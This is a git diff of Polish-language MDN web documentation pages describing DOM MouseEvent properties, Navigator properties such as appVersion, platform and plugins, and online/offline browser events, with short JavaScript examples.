diff --git a/files/pl/web/api/mouseevent/metakey/index.html b/files/pl/web/api/mouseevent/metakey/index.html new file mode 100644 index 0000000000..3c18799032 --- /dev/null +++ b/files/pl/web/api/mouseevent/metakey/index.html @@ -0,0 +1,31 @@ +--- +title: event.metaKey +slug: Web/API/Event/metaKey +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/metaKey +translation_of_original: Web/API/event.metaKey +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca wartość logiczną wskazującą, czy klawisz <meta> był wciśnięty podczas wywołania zdarzenia.

+

Przykład

+
 function goInput(e) {
+ // sprawdza metaKey
+   if (e.metaKey) {
+        // i przekazuje zdarzenie dalej
+     superSizeOutput(e);
+
+    } else {
+     doOutput(e);
+    }
+ }
+
+

Uwagi

+

Na niekótrych platformach metaKey może obsługiwać klawisz o innej nazwie.

+

Specyfikacja

+

metaKey

+

{{ languages( { "en": "en/DOM/event.metaKey" } ) }}

diff --git a/files/pl/web/api/mouseevent/relatedtarget/index.html b/files/pl/web/api/mouseevent/relatedtarget/index.html new file mode 100644 index 0000000000..46ef60e718 --- /dev/null +++ b/files/pl/web/api/mouseevent/relatedtarget/index.html @@ -0,0 +1,57 @@ +--- +title: event.relatedTarget +slug: Web/API/Event/relatedTarget +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/relatedTarget +translation_of_original: Web/API/event.relatedTarget +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Wskazuje na drugi cel zdarzenia.

+

Składnia

+
eventTarget = event.relatedTarget
+
+

Parametry

+ +

Przykład

+
var rel = event.relatedTarget;
+// dump("LEAVING " + (rel ? rel.localName : "null") + "\n");
+// relatedTarget is null when the titletip is first shown:
+// a mouseout event fires because the mouse is exiting
+// the main window and entering the titletip "window".
+// relatedTarget is also null when the mouse exits the main
+// window completely, so count how many times relatedTarget
+// was null after titletip is first shown and hide popup
+// the 2nd time
+if (!rel) {
+  ++this._mouseOutCount;
+  if (this._mouseOutCount > 1)
+    this.hidePopup();
+  return;
+}
+// find out if the node we are entering is one of our
+// anonymous children
+while (rel) {
+  if (rel == this)
+    break;
+  rel.parentNode;
+}
+// if the entered node is not a descendant of ours, hide
+// the tooltip
+if (rel != this && this._isMouseOver) {
+  this.hidePopup();
+}
+
+

Uwagi

+

Za specyfikacją W3C: "Obecnie ten atrybuty używany jest przy zdarzeniu mouseover, gdzie kieruje do EventTarget, jaki opuściło urządzenie wskazujące oraz przy zdarzeniu mouseout, gdzie kieruje do EventTarget, w który weszło urządzenie wskazujące."

+

Powyzszy przykład jest typowy - właściwość relatedTarget używana jest by znaleźć, jeśli jest związany z tym zdarzeniem, kolejny element. Zdarzenia takie jak najechanie myszą ( + + mouseover + ) są powiązane z konkretnym elementem docelowym, ale mogą też angażować drugi cel, jak np. element opuszczany przez mysz w momencie, gdy najechania na główny cel.

+

Specyfikacja

+

relatedTarget

+

{{ languages( { "en": "en/DOM/event.relatedTarget" } ) }}

diff --git a/files/pl/web/api/mouseevent/screenx/index.html b/files/pl/web/api/mouseevent/screenx/index.html new file mode 100644 index 0000000000..f248efb6f3 --- /dev/null +++ b/files/pl/web/api/mouseevent/screenx/index.html @@ -0,0 +1,34 @@ +--- +title: event.screenX +slug: Web/API/Event/screenX +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/screenX +translation_of_original: Web/API/event.screenX +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całego ekranu.

+

Składnia

+
liczbaPikseli = event.screenX
+
+

Parametry

+ +

Przykład

+
 function checkClickMap(e) {
+   if e.screenX < 50
+     doRedButton();
+   if 50 <= e.screenX < 100
+     doYellowButton();
+   if e.screenX >= 100
+     doRedButton();
+ }
+
+

Uwagi

+

Kiedy złapiesz zdarzenie w oknie, dokumencie czy innym obszernym elemencie możesz pobrać współrzędne tego zdarzenia (np. kliknięcia) i obsłużyć je prawidłowo, tak jak pokazuje powyższy przykład.

+

Specyfikacja

+

screenX

+

{{ languages( { "en": "en/DOM/event.screenX" } ) }}

diff --git a/files/pl/web/api/mouseevent/screeny/index.html b/files/pl/web/api/mouseevent/screeny/index.html new file mode 100644 index 0000000000..52af68dc14 --- /dev/null +++ b/files/pl/web/api/mouseevent/screeny/index.html @@ -0,0 +1,24 @@ +--- +title: event.screenY +slug: Web/API/Event/screenY +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/screenY +translation_of_original: Web/API/event.screenY +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całego ekranu.

+

Składnia

+
liczbaPikseli = event.screenY
+
+

Parametry

+ +

Uwagi

+

Kiedy złapiesz zdarzenie w oknie, dokumencie czy innym obszernym elemencie możesz pobrać współrzędne tego zdarzenia (np. kliknięcia) i obsłużyć je prawidłowo. Zobacz przykład do screenX.

+

Specyfikacja

+

screenY

+

{{ languages( { "en": "en/DOM/event.screenY" } ) }}

diff --git a/files/pl/web/api/mouseevent/shiftkey/index.html b/files/pl/web/api/mouseevent/shiftkey/index.html new file mode 100644 index 0000000000..ee3c1cb72c --- /dev/null +++ b/files/pl/web/api/mouseevent/shiftkey/index.html @@ -0,0 +1,27 @@ +--- +title: event.shiftKey +slug: Web/API/Event/shiftKey +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/shiftKey +translation_of_original: Web/API/event.shiftKey +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Wskazuje, czy klawisz <shift> był wciśnięty przy wywołaniu zdarzenia.

+

Składnia

+
bool = event.shiftKey
+
+

Przykład

+
 function goInput(e) {
+ // sprawdza shiftKey
+   if e.shiftKey
+       // i przekazuje zdarzenie dalej
+     superSizeOutput(e);
+   else
+     doOutput(e)
+
+

Specyfikacja

+

shiftKey

+

{{ languages( { "en": "en/DOM/event.shiftKey" } ) }}

diff --git a/files/pl/web/api/navigator/appcodename/index.html b/files/pl/web/api/navigator/appcodename/index.html deleted file mode 100644 index ec0da7157c..0000000000 --- a/files/pl/web/api/navigator/appcodename/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: window.navigator.appCodeName -slug: Web/API/Navigator/appCodeName -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/NavigatorID/appCodeName ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca wewnętrzną nazwę "kodową" aktualnej przeglądarki.

-

Składnia

-
codeName = window.navigator.appCodeName
-
-

Parametry

- -

Przykład

-
dump(window.navigator.appCodeName);
-
-

Uwagi

-

Mozilla, Netscape 6 i IE5 używają wewnętrznej nazwy "Mozilla".

-

Specyfikacja

-

DOM Level 0. Nie jest częścią specyfikacji.

-
-  
-

{{ languages( { "en": "en/DOM/window.navigator.appCodeName", "ja": "ja/DOM/window.navigator.appCodeName" } ) }}

diff --git a/files/pl/web/api/navigator/appname/index.html b/files/pl/web/api/navigator/appname/index.html deleted file mode 100644 index d651ac3682..0000000000 --- a/files/pl/web/api/navigator/appname/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: window.navigator.appName -slug: Web/API/Navigator/appName -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/NavigatorID/appName ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca oficjalną nazwę przeglądarki.

-

Składnia

-
appName = window.navigator.appName
-
-

Parametry

- -

Przykład

-
dump(window.navigator.appName);
-// dla NS6 wypisuje w konsoli "Navigator"
-
-

Specyfikacja

-

DOM Level 0. Nie jest częścią specyfikacji.

-
-  
-

{{ languages( { "en": "en/DOM/window.navigator.appName", "ja": "ja/DOM/window.navigator.appName" } ) }}

diff --git a/files/pl/web/api/navigator/appversion/index.html b/files/pl/web/api/navigator/appversion/index.html deleted file mode 100644 index 3d08f23cee..0000000000 --- a/files/pl/web/api/navigator/appversion/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: window.navigator.appVersion -slug: Web/API/Navigator/appVersion -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/NavigatorID/appVersion ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca wersję przeglądarki jako łańcuch znaków.

-

Składnia

-
ver = window.navigator.appVersion
-
-

Parametry

- -

Przykład

-
if ( navigator.appVersion.charAt(0) == "5" ) {
-    // prawdopodobnie jest to piąta wersja przeglądarki
- }
-
-

Uwagi

-

Własność window.navigator.userAgent również zawiera numer wersji przeglądarki (przykładowo: "Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape 6/6.1"), lecz powinniśmy mieć świadomość jak łatwo jest zmienić ciąg user-agent i "naśladować" inne przeglądarki, platformy lub pośredników użytkownika oraz jak bezmyślni są sami producenci przeglądarek w ustawianiu tej wartości. Własności window.navigator.appVersion i window.navigator.userAgent są dość często stosowane w kodzie "szpiegującym przeglądarki": skryptach, które próbują dowiedzieć się jakiej używasz przeglądarki i wyświetlić stosowną do niej stronę.

-

Specyfikacja

-

DOM Level 0. Nie jest częścią specyfikacji.

-
-  
-

{{ languages( { "en": "en/DOM/window.navigator.appVersion", "ja": "ja/DOM/window.navigator.appVersion" } ) }}

diff --git a/files/pl/web/api/navigator/javaenabled/index.html b/files/pl/web/api/navigator/javaenabled/index.html deleted file mode 100644 index 291d27782e..0000000000 --- a/files/pl/web/api/navigator/javaenabled/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: NavigatorPlugins.javaEnabled -slug: Web/API/Navigator/javaEnabled -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/NavigatorPlugins/javaEnabled ---- -

{{ ApiRef() }}

- -

Podsumowanie

- -

Ta metoda wskazuje czy w aktualnej przeglądarce została włączona obsługa Javy.

- -

Składnia

- -
result = window.navigator.javaEnabled()
-
- -

Przykład

- -
if (window.navigator.javaEnabled()) {
-   // przeglądarka posiada Javę
-}
-
- -

Uwagi

- -

Zwracana przez tę metodę wartość wskazuje czy Java jest włączona czy też nie - a nie czy przeglądarka w ogóle obsługuje Javę.

- -

Specyfikacja

- -

DOM Level 0. Nie jest częścią specyfikacji.

- -
 
- -

{{ languages( { "en": "en/DOM/window.navigator.javaEnabled", "ja": "ja/DOM/window.navigator.javaEnabled" } ) }}

diff --git a/files/pl/web/api/navigator/language/index.html b/files/pl/web/api/navigator/language/index.html deleted file mode 100644 index 1dcc4daabc..0000000000 --- a/files/pl/web/api/navigator/language/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: NavigatorLanguage.language -slug: Web/API/Navigator/language -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/NavigatorLanguage/language ---- -

{{ ApiRef() }}

- -

Podsumowanie

- -

Zwraca łańcuch znaków reprezentujący wersję językową przeglądarki.

- -

Składnia

- -
lang = window.navigator.language
-
- -

Parametry

- - - -

Przykład

- -
if ( window.navigator.language != "pl" ) {
- doLangSelect(window.navigator.language);
-}
-
- -

Uwagi

- -

Ta własność pojawia się również jako część łańcucha znaków navigator.userAgent.

- -

Specyfikacja

- -

DOM Level 0. Nie jest częścią specyfikacji.

- -
 
- -

{{ languages( { "en": "en/DOM/window.navigator.language", "ja": "ja/DOM/window.navigator.language" } ) }}

diff --git a/files/pl/web/api/navigator/mimetypes/index.html b/files/pl/web/api/navigator/mimetypes/index.html deleted file mode 100644 index 371e75eff2..0000000000 --- a/files/pl/web/api/navigator/mimetypes/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: NavigatorPlugins.mimeTypes -slug: Web/API/Navigator/mimeTypes -tags: - - DOM - - DOM_0 - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/NavigatorPlugins/mimeTypes ---- -

{{ ApiRef() }}

- -

Podsumowanie

- -

Zwraca obiekt MimeTypeArray, który zawiera listę obiektów MimeType reprezentujących typy MIME rozpoznawane przez przeglądarkę.

- -

Składnia

- -
mimeTypes = navigator.mimeTypes;
-
- -

mimeTypes jest obiektem MimeTypeArray, który posiada zarówno własność length jak i metody item(index) oraz namedItem(name).

- -

Przykład

- -
  alert(window.navigator.mimeTypes.item(0).description); // wyświetli ostrzeżenie "Mozilla Default Plug-in"
-
- -

Uwagi

- -

Wartością własności type w zerowym elemencie (obiekt MimeType "Mozilla Default Plug-in") jest * zamiast typowego formatu MIME jak np. "image/x-macpaint"

- -

Specyfikacja

- -

{{ DOM0() }}

- -
 
- -

{{ languages( { "en": "en/DOM/window.navigator.mimeTypes", "ja": "ja/DOM/window.navigator.mimeTypes" } ) }}

diff --git a/files/pl/web/api/navigator/online/index.html b/files/pl/web/api/navigator/online/index.html deleted file mode 100644 index 20bbd73fb0..0000000000 --- a/files/pl/web/api/navigator/online/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: NavigatorOnLine.onLine -slug: Web/API/Navigator/onLine -tags: - - DOM - - DOM_0 - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/NavigatorOnLine/onLine ---- -

{{ ApiRef() }}

- -

Podsumowanie

- -

Zwraca wartość logiczną wskazującą czy przeglądarka jest w trybie online, czy nie.

- -

Składnia

- -
online =
-window.navigator.onLine;
-
- - - -

Przykład

- -
alert(navigator.onLine ? "Jesteś online" : "Jesteś offline");
-
- -

Uwagi

- -

Zobacz Zdarzenia Online/Offline‎, aby uzyskać bardziej szczegółowy opis tej własności, jak również nowych funkcji związanych z trybem offline, wprowadzonych w Firefoksie 3.

- -

Specyfikacja

- -

{{ DOM0() }}

- -

Opisana w szkicu roboczym HTML 5

- -

 

- -
 
- -

{{ languages( { "en": "en/DOM/window.navigator.onLine", "fr": "fr/DOM/window.navigator.onLine", "ja": "ja/DOM/window.navigator.onLine" } ) }}

diff --git a/files/pl/web/api/navigator/platform/index.html b/files/pl/web/api/navigator/platform/index.html deleted file mode 100644 index 3a73ee3c2e..0000000000 --- a/files/pl/web/api/navigator/platform/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: window.navigator.platform -slug: Web/API/Navigator/platform -tags: - - DOM - - DOM_0 - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/NavigatorID/platform ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca łańcuch znaków reprezentujący platformę przeglądarki.

-

Składnia

-
platform =navigator.platform
-
-

platform jest łańcuchem znaków z jedną z następujących wartości: "Win32", "Linux i686", "MacPPC", "MacIntel" lub inną.

-

Przykład

-
alert(navigator.platform);
-
-

Uwagi

-

Jeśli Twój kod nie jest uprzywilejowany (chrome lub przynajmniej kod z uprawnieniem UniversalBrowserRead), może on otrzymać wartość opcji <tt>general.platform.override</tt> zamiast prawdziwej platformy.

-

Specyfikacja

-

{{ DOM0() }}

-
-  
-

{{ languages( { "en": "en/DOM/window.navigator.platform", "ja": "ja/DOM/window.navigator.platform" } ) }}

diff --git a/files/pl/web/api/navigator/plugins/index.html b/files/pl/web/api/navigator/plugins/index.html deleted file mode 100644 index c60d9f6614..0000000000 --- a/files/pl/web/api/navigator/plugins/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: NavigatorPlugins.plugins -slug: Web/API/Navigator/plugins -tags: - - DOM - - DOM_0 - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/NavigatorPlugins/plugins ---- -

{{ ApiRef() }}

- -

Podsumowanie

- -

Zwraca obiekt PluginArray będący listą wszystkich wtyczek zainstalowanych w aplikacji.

- -

Składnia

- -
plugins = navigator.plugins;
-
- -

plugins jest tabelą PluginArray zawierającą obiekty Plugin reprezentujące zainstalowane wtyczki.

- -

Zwrócona wartość nie jest jest tablicą JavaScript, ale posiada własność length i obsługuje dostęp do poszczególnych elementów za pomocą notacji nawiasowej (plugins{{ mediawiki.external(2) }}) jak również poprzez metody item(index ) i namedItem("name" ).

- -

Przykład

- -

Poniższy przykład wyświetla wewnątrz zaawansowanego dokumentu informacje o zainstalowanych wtyczkach. Zauważ własności dostępne w obiekcie Plugin: name, filename i description.

- -
<script type="text/javascript">
-   var L = navigator.plugins.length;
-   document.write(L.toString().bold() + " Plugin(s)".bold());
-   document.write("<br>");
-   document.write("Nazwa wtyczki | Nazwa pliku | Opis".bold());
-   document.write("<br>");
-   for(var i=0; i<L; i++) {
-     document.write(navigator.plugins[i].name);
-     document.write(" | ");
-     document.write(navigator.plugins[i].filename);
-     document.write(" | ");
-     document.write(navigator.plugins[i].description);
-     document.write("<br>");
-   }
-</script>
-
- -

Uwagi

- -

Obiekt Plugin wyświetla skromny interfejs w celu uzyskania informacji o różnych wtyczkach zainstalowanych w przeglądarce. Lista wtyczek jest również dostępna poprzez wprowadzenie about:plugins w pasku adresu.

- -

Specyfikacja

- -

{{ DOM0() }}

- -
 
- -

{{ languages( { "en": "en/DOM/window.navigator.plugins", "ja": "ja/DOM/window.navigator.plugins" } ) }}

diff --git a/files/pl/web/api/navigator/product/index.html b/files/pl/web/api/navigator/product/index.html deleted file mode 100644 index 50d34a4a66..0000000000 --- a/files/pl/web/api/navigator/product/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: window.navigator.product -slug: Web/API/Navigator/product -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/NavigatorID/product ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Własność ta zwraca nazwę produktu bieżącej przeglądarki.

-

Składnia

-
productName = window.navigator.product
-
-

Parametry

- -

Przykład

-
<script>
-function prod() {
-  dt = document.getElementById("d");
-  dt.innerHTML = window.navigator.product;
-}
-</script>
-<button onclick="prod();">produkt</button>
-<div id="d"> </div>
-// zwraca "Gecko"
-
-

Uwagi

-

Produkt jest tą częścią pełnego łańcucha identyfikatora przeglądarki, która następuje bezpośrednio po platformie. Na przykład, w identyfikatorze przeglądarki dla Netscape 6.1 produktem jest "Gecko", a pełny ciąg identyfikatora przeglądarki jest następujący: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1

-

Specyfikacja

-

DOM Level 0. Nie jest częścią specyfikacji.

-
-  
-

{{ languages( { "en": "en/DOM/window.navigator.product", "ja": "ja/DOM/window.navigator.product" } ) }}

diff --git a/files/pl/web/api/navigatorid/appcodename/index.html b/files/pl/web/api/navigatorid/appcodename/index.html new file mode 100644 index 0000000000..ec0da7157c --- /dev/null +++ b/files/pl/web/api/navigatorid/appcodename/index.html @@ -0,0 +1,30 @@ +--- +title: window.navigator.appCodeName +slug: Web/API/Navigator/appCodeName +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorID/appCodeName +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca wewnętrzną nazwę "kodową" aktualnej przeglądarki.

+

Składnia

+
codeName = window.navigator.appCodeName
+
+

Parametry

+ +

Przykład

+
dump(window.navigator.appCodeName);
+
+

Uwagi

+

Mozilla, Netscape 6 i IE5 używają wewnętrznej nazwy "Mozilla".

+

Specyfikacja

+

DOM Level 0. Nie jest częścią specyfikacji.

+
+  
+

{{ languages( { "en": "en/DOM/window.navigator.appCodeName", "ja": "ja/DOM/window.navigator.appCodeName" } ) }}

diff --git a/files/pl/web/api/navigatorid/appname/index.html b/files/pl/web/api/navigatorid/appname/index.html new file mode 100644 index 0000000000..d651ac3682 --- /dev/null +++ b/files/pl/web/api/navigatorid/appname/index.html @@ -0,0 +1,29 @@ +--- +title: window.navigator.appName +slug: Web/API/Navigator/appName +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorID/appName +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca oficjalną nazwę przeglądarki.

+

Składnia

+
appName = window.navigator.appName
+
+

Parametry

+ +

Przykład

+
dump(window.navigator.appName);
+// dla NS6 wypisuje w konsoli "Navigator"
+
+

Specyfikacja

+

DOM Level 0. Nie jest częścią specyfikacji.

+
+  
+

{{ languages( { "en": "en/DOM/window.navigator.appName", "ja": "ja/DOM/window.navigator.appName" } ) }}

diff --git a/files/pl/web/api/navigatorid/appversion/index.html b/files/pl/web/api/navigatorid/appversion/index.html new file mode 100644 index 0000000000..3d08f23cee --- /dev/null +++ b/files/pl/web/api/navigatorid/appversion/index.html @@ -0,0 +1,32 @@ +--- +title: window.navigator.appVersion +slug: Web/API/Navigator/appVersion +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorID/appVersion +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca wersję przeglądarki jako łańcuch znaków.

+

Składnia

+
ver = window.navigator.appVersion
+
+

Parametry

+ +

Przykład

+
if ( navigator.appVersion.charAt(0) == "5" ) {
+    // prawdopodobnie jest to piąta wersja przeglądarki
+ }
+
+

Uwagi

+

Własność window.navigator.userAgent również zawiera numer wersji przeglądarki (przykładowo: "Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape 6/6.1"), lecz powinniśmy mieć świadomość jak łatwo jest zmienić ciąg user-agent i "naśladować" inne przeglądarki, platformy lub pośredników użytkownika oraz jak bezmyślni są sami producenci przeglądarek w ustawianiu tej wartości. Własności window.navigator.appVersion i window.navigator.userAgent są dość często stosowane w kodzie "szpiegującym przeglądarki": skryptach, które próbują dowiedzieć się jakiej używasz przeglądarki i wyświetlić stosowną do niej stronę.

+

Specyfikacja

+

DOM Level 0. Nie jest częścią specyfikacji.

+
+  
+

{{ languages( { "en": "en/DOM/window.navigator.appVersion", "ja": "ja/DOM/window.navigator.appVersion" } ) }}

diff --git a/files/pl/web/api/navigatorid/platform/index.html b/files/pl/web/api/navigatorid/platform/index.html new file mode 100644 index 0000000000..3a73ee3c2e --- /dev/null +++ b/files/pl/web/api/navigatorid/platform/index.html @@ -0,0 +1,28 @@ +--- +title: window.navigator.platform +slug: Web/API/Navigator/platform +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorID/platform +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca łańcuch znaków reprezentujący platformę przeglądarki.

+

Składnia

+
platform =navigator.platform
+
+

platform jest łańcuchem znaków z jedną z następujących wartości: "Win32", "Linux i686", "MacPPC", "MacIntel" lub inną.

+

Przykład

+
alert(navigator.platform);
+
+

Uwagi

+

Jeśli Twój kod nie jest uprzywilejowany (chrome lub przynajmniej kod z uprawnieniem UniversalBrowserRead), może on otrzymać wartość opcji <tt>general.platform.override</tt> zamiast prawdziwej platformy.

+

Specyfikacja

+

{{ DOM0() }}

+
+  
+

{{ languages( { "en": "en/DOM/window.navigator.platform", "ja": "ja/DOM/window.navigator.platform" } ) }}

diff --git a/files/pl/web/api/navigatorid/product/index.html b/files/pl/web/api/navigatorid/product/index.html new file mode 100644 index 0000000000..50d34a4a66 --- /dev/null +++ b/files/pl/web/api/navigatorid/product/index.html @@ -0,0 +1,38 @@ +--- +title: window.navigator.product +slug: Web/API/Navigator/product +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorID/product +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Własność ta zwraca nazwę produktu bieżącej przeglądarki.

+

Składnia

+
productName = window.navigator.product
+
+

Parametry

+ +

Przykład

+
<script>
+function prod() {
+  dt = document.getElementById("d");
+  dt.innerHTML = window.navigator.product;
+}
+</script>
+<button onclick="prod();">produkt</button>
+<div id="d"> </div>
+// zwraca "Gecko"
+
+

Uwagi

+

Produkt jest tą częścią pełnego łańcucha identyfikatora przeglądarki, która następuje bezpośrednio po platformie. Na przykład, w identyfikatorze przeglądarki dla Netscape 6.1 produktem jest "Gecko", a pełny ciąg identyfikatora przeglądarki jest następujący: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1

+

Specyfikacja

+

DOM Level 0. Nie jest częścią specyfikacji.

+
+  
+

{{ languages( { "en": "en/DOM/window.navigator.product", "ja": "ja/DOM/window.navigator.product" } ) }}

diff --git a/files/pl/web/api/navigatorlanguage/language/index.html b/files/pl/web/api/navigatorlanguage/language/index.html new file mode 100644 index 0000000000..1dcc4daabc --- /dev/null +++ b/files/pl/web/api/navigatorlanguage/language/index.html @@ -0,0 +1,45 @@ +--- +title: NavigatorLanguage.language +slug: Web/API/Navigator/language +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorLanguage/language +--- +

{{ ApiRef() }}

+ +

Podsumowanie

+ +

Zwraca łańcuch znaków reprezentujący wersję językową przeglądarki.

+ +

Składnia

+ +
lang = window.navigator.language
+
+ +

Parametry

+ + + +

Przykład

+ +
if ( window.navigator.language != "pl" ) {
+ doLangSelect(window.navigator.language);
+}
+
+ +

Uwagi

+ +

Ta własność pojawia się również jako część łańcucha znaków navigator.userAgent.

+ +

Specyfikacja

+ +

DOM Level 0. Nie jest częścią specyfikacji.

+ +
 
+ +

{{ languages( { "en": "en/DOM/window.navigator.language", "ja": "ja/DOM/window.navigator.language" } ) }}

diff --git a/files/pl/web/api/navigatoronline/online/index.html b/files/pl/web/api/navigatoronline/online/index.html new file mode 100644 index 0000000000..20bbd73fb0 --- /dev/null +++ b/files/pl/web/api/navigatoronline/online/index.html @@ -0,0 +1,47 @@ +--- +title: NavigatorOnLine.onLine +slug: Web/API/Navigator/onLine +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/NavigatorOnLine/onLine +--- +

{{ ApiRef() }}

+ +

Podsumowanie

+ +

Zwraca wartość logiczną wskazującą czy przeglądarka jest w trybie online, czy nie.

+ +

Składnia

+ +
online =
+window.navigator.onLine;
+
+ + + +

Przykład

+ +
alert(navigator.onLine ? "Jesteś online" : "Jesteś offline");
+
+ +

Uwagi

+ +

Zobacz Zdarzenia Online/Offline‎, aby uzyskać bardziej szczegółowy opis tej własności, jak również nowych funkcji związanych z trybem offline, wprowadzonych w Firefoksie 3.

+ +

Specyfikacja

+ +

{{ DOM0() }}

+ +

Opisana w szkicu roboczym HTML 5

+ +

 

+ +
 
+ +

{{ languages( { "en": "en/DOM/window.navigator.onLine", "fr": "fr/DOM/window.navigator.onLine", "ja": "ja/DOM/window.navigator.onLine" } ) }}

diff --git a/files/pl/web/api/navigatoronline/online_and_offline_events/index.html b/files/pl/web/api/navigatoronline/online_and_offline_events/index.html new file mode 100644 index 0000000000..d286acc4b0 --- /dev/null +++ b/files/pl/web/api/navigatoronline/online_and_offline_events/index.html @@ -0,0 +1,84 @@ +--- +title: Zdarzenia online i offline +slug: Web/API/NavigatorOnLine/Zdarzenia_online_i_offline +tags: + - AJAX + - DOM + - Programowanie_WWW + - Wszystkie_kategorie +translation_of: Web/API/NavigatorOnLine/Online_and_offline_events +--- +

{{ Fx_minversion_header(3) }} W programie Firefox 3 zaimplementowano obsługę zdarzeń online i offline zdefiniowanych w specyfikacji WHATWG Web Applications 1.0. +

+

Omówienie

+

Do stworzenia dobrej aplikacji internetowej działającej w trybie offline konieczne jest istnienie sposobu na sprawdzenie, kiedy aplikacja faktycznie znajduje się w trybie offline. W niektórych przypadkach potrzebna jest także możliwość stwierdzenia, czy aplikacja powróciła do stanu „online”. W praktyce sprowadza się to do dwóch wymagań: +

+
  1. Konieczne jest stwierdzenie, kiedy użytkownik przełącza przeglądarkę w tryb online, aby można było przeprowadzić ponowną synchronizację z serwerem.
  2. Konieczne jest stwierdzenie, kiedy użytkownik przełącza przeglądarkę w tryb offline, aby można było odłożyć wysłanie żądania do serwera na później.
+

Zdarzenia online i offline pozwalają na uproszczenie powyższych procedur.

W aplikacji internetowej może także być konieczne wymuszenie przechowywania określonych dokumentów w pamięci podręcznej zasobów offline. W tym celu w kodzie sekcji HEAD należy wstawić znacznik LINK przedstawiony poniżej: +

+
<link rel="offline-resource" href="mój_zasób">
+
+

Przy przetwarzaniu kodu HTML przez program Firefox w wersji 3 lub nowszej dokumenty wymienione w znaczniku zostaną zapisane w specjalnej pamięci podręcznej zasobów offline. +

+

Interfejs API

+ +

navigator.onLine to własność, która zwraca wartość true lub false (true dla trybu online, false dla trybu offline). Własność ta jest aktualizowana za każdym razem, gdy użytkownik przełącza przeglądarkę w tryb offline, wybierając odpowiednie polecenie menu (w programie Firefox: Plik -> Pracuj w trybie offline). +

Ponadto ta własność powinna być aktualizowana zawsze, gdy w przeglądarce nie można nawiązać połączenia z siecią. Zgodnie ze specyfikacją: +

+
+Atrybut navigator.onLine musi zwracać wartość false, jeżeli w programie po kliknięciu odsyłacza przez użytkownika lub po wysłaniu przez skrypt żądania do zdalnej witryny nie można połączyć się z siecią (lub wiadomo, że taka próba nie powiedzie się)... +
+

W programie Firefox 2 ta własność jest aktualizowana przy przełączaniu przeglądarki między trybami online i offline oraz przy utracie lub ponownym nawiązaniu połączenia z siecią (dotyczy systemów Windows i Linux). +

